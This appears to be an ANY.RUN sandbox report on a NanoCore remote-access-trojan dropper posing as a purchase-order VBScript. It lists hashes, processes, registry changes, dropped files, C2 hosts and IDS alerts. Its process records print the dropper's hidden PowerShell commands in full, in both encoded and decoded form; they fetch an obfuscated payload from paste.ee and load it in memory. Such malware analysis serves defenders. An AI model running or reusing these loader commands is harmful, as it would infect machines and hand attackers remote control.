File name:

PO-498475-ORDER.vbs

Full analysis: https://app.any.run/tasks/45db2134-676d-49b5-8df9-960ab0dd5531
Verdict: Malicious activity
Threats:

NanoCore is a Remote Access Trojan or RAT. This malware is highly customizable with plugins which allow attackers to tailor its functionality to their needs. Nanocore is created with the .NET framework and it’s available for purchase for just $25 from its “official” website.

Malware Trends Tracker     >>>
Analysis date: November 30, 2020, 02:05:17
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
rat
nanocore
trojan
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines, with CRLF line terminators
MD5:

2BE0C13D5314EDAEF436B9A570E4C883

SHA1:

75B2AEB08A8582D671E1D8F5B7A214BE83667694

SHA256:

936B4F3700A18C11E50D94E1E22D0681E7C42EAF25DFF2B45D3E434B829B030E

SSDEEP:

96:eKKzp3pyDU16oDo1xYvXKUUMaaRZ1IKGJQ/P+I3+:ep3pMdUoKEKpP+I3+

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Changes the autorun value in the registry

      • RegAsm.exe (PID: 3920)

    • NANOCORE was detected

      • RegAsm.exe (PID: 3920)

    • Application was dropped or rewritten from another process

      • RegAsm.exe (PID: 3920)

    • Connects to CnC server

      • RegAsm.exe (PID: 3920)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 752)
      • powershell.exe (PID: 2396)
      • RegAsm.exe (PID: 3920)

    • Executes PowerShell scripts

      • powershell.exe (PID: 752)
      • WScript.exe (PID: 1372)

    • Application launched itself

      • powershell.exe (PID: 752)

    • Executable content was dropped or overwritten

      • RegAsm.exe (PID: 3920)

    • Drops a file that was compiled in debug mode

      • RegAsm.exe (PID: 3920)

  • INFO

    • Reads settings of System Certificates

      • powershell.exe (PID: 2396)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
37
Monitored processes
4
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start wscript.exe no specs powershell.exe no specs powershell.exe #NANOCORE regasm.exe

Process information

PID
CMD
Path
Indicators
Parent process
752"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypass -NoProfile -Command "$Codigo = 'JGRsbCA9ICcwL0FrTkQ0L3IvZWUuZXRzYXAvLzpzcHR0aCc7JFJ1bXBlRCA9IChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCAkZGxsWy0xLi4tJGRsbC5MZW5ndGhdIC1qb2luICcnICk7W0J5dGVbXV0gJFJ1bXBlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyggJFJ1bXBlRFstMS4uLSRSdW1wZUQuTGVuZ3RoXSAtam9pbiAnJyApO1tSZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkUnVtcGUpLkdldFR5cGUoJ2VudC5DbGFzczEnKS5HZXRNZXRob2QoJ1J1bicpLkludm9rZSgkbnVsbCwgW29iamVjdFtdXSAoJzAvZ3lyUFQvci9lZS5ldHNhcC8vOnNwdHRoJykp';$OWjuxD = [System.Text.Encoding]::ASCII.GetString( [System.Convert]::FromBase64String($Codigo) );powershell.exe -windowstyle hidden -ExecutionPolicy Bypass -NoProfile -Command $OWjuxD"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
1372"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\PO-498475-ORDER.vbs"C:\Windows\System32\WScript.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2396"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypass -NoProfile -Command "$dll = '0/AkND4/r/ee.etsap//:sptth';$RumpeD = (New-Object Net.WebClient).DownloadString( $dll[-1..-$dll.Length] -join '' );[Byte[]] $Rumpe = [System.Convert]::FromBase64String( $RumpeD[-1..-$RumpeD.Length] -join '' );[Reflection.Assembly]::Load($Rumpe).GetType('ent.Class1').GetMethod('Run').Invoke($null, [object[]] ('0/gyrPT/r/ee.etsap//:sptth'))"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3920"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Assembly Registration Utility
Exit code:
0
Version:
4.7.3062.0 built by: NET472REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\regasm.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\apppatch\acgenral.dll
c:\windows\system32\sechost.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
Total events
652
Read events
515
Write events
137
Delete events
0

Modification events

(PID) Process:(752) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\13B\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(1372) WScript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(1372) WScript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(2396) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\13B\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(2396) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(2396) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(2396) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileTracingMask
Value:
4294901760
(PID) Process:(2396) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
4294901760
(PID) Process:(2396) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(2396) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
Executable files
1
Suspicious files
6
Text files
1
Unknown types
1

Dropped files

PID
Process
Filename
Type
752powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\D5EQGQ7TAPXF7440MVNL.temp —
MD5:—
SHA256:—
2396powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TBTGZ6R95IR5E3UJK9KK.temp —
MD5:—
SHA256:—
752powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF13efa3.TMPbinary
MD5:—
SHA256:—
2396powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF13f178.TMPbinary
MD5:—
SHA256:—
752powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:—
SHA256:—
2396powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:—
SHA256:—
3920RegAsm.exeC:\Users\admin\AppData\Roaming\90059C37-1320-41A4-B58D-2B75A9850D2F\run.dattext
MD5:—
SHA256:—
3920RegAsm.exeC:\Users\admin\AppData\Roaming\90059C37-1320-41A4-B58D-2B75A9850D2F\storage.datbinary
MD5:7E8F4A764B981D5B82D1CC49D341E9C6
SHA256:0BD3AAC12623520C4E2031C8B96B4A154702F36F97F643158E91E987D317B480
3920RegAsm.exeC:\Users\admin\AppData\Roaming\90059C37-1320-41A4-B58D-2B75A9850D2F\settings.binbinary
MD5:4E5E92E2369688041CC82EF9650EDED2
SHA256:F8098A6290118F2944B9E7C842BD014377D45844379F863B00D54515A8A64B48
3920RegAsm.exeC:\Users\admin\AppData\Roaming\90059C37-1320-41A4-B58D-2B75A9850D2F\catalog.datbs
MD5:32D0AAE13696FF7F8AF33B2D22451028
SHA256:5347661365E7AD2C1ACC27AB0D150FFA097D9246BB3626FCA06989E976E8DD29
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
3
DNS requests
2
Threats
41

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3920
RegAsm.exe
8.8.8.8:53
—
Google Inc.
US
malicious
3920
RegAsm.exe
79.134.225.11:5000
emisintl.com
Andreas Fink trading as Fink Telecom Services
CH
malicious
2396
powershell.exe
104.18.48.20:443
paste.ee
Cloudflare Inc
US
shared

DNS requests

Domain
IP
Reputation
paste.ee
  • 104.18.48.20
  • 104.18.49.20
  • 172.67.219.133
malicious
emisintl.com
  • 79.134.225.11
malicious

Threats

PID
Process
Class
Message
3920
RegAsm.exe
A Network Trojan was detected
ET TROJAN Possible NanoCore C2 60B
3920
RegAsm.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
3920
RegAsm.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
3920
RegAsm.exe
A Network Trojan was detected
ET TROJAN Possible NanoCore C2 60B
3920
RegAsm.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
3920
RegAsm.exe
A Network Trojan was detected
ET TROJAN Possible NanoCore C2 60B
3920
RegAsm.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
3920
RegAsm.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
3920
RegAsm.exe
A Network Trojan was detected
ET TROJAN Possible NanoCore C2 60B
3920
RegAsm.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
23 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
PO-498475-ORDER.vbs